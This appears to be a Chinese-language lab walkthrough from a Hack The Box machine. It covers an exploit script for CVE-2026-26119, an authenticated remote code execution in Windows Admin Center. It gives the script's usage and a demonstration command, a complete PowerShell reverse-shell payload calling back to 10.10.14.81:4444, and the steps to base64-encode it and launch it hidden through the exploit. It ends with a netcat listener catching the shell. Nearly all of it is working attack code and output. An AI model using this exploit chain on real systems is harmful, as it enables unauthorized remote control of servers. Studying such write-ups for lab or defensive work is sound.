WAC RCE - CVE-2026-26119 通过 WinREST/PowerShell invokeCommand 实现 Windows Admin Center 认证后的远程代码执行（RCE）。
用法：
python3 wac_rce.py <user> <pass> "<powershell command>"
WAC_PASS=<pass> python3 wac_rce.py <user>
环境变量：
WAC_BASE - override target base URL (default below)
WAC_PASS - password, used if not passed positionally
┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ python3 wac_rce.py 'anderson.w' 'Password' 'whoami'
danglingtree\anderson.w
如何获取反弹 Shell：
cat > revshell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.81',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
EOF
cat revshell.ps1 | iconv -t utf-16le | base64 -w 0 > revshell.b64
创建一个 nc 监听器：
nc -nlvp 4444
python3 wac_rce.py 'anderson.w' 'Password' "Start-Process powershell -WindowStyle Hidden -ArgumentList '-nop -enc $(cat revshell.b64)'"
┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.81] from (UNKNOWN) [10.129.171.81] 54318
$Host.UI.RawUI.WindowTitle = "shell"
PS C:\Users\anderson.w\Documents>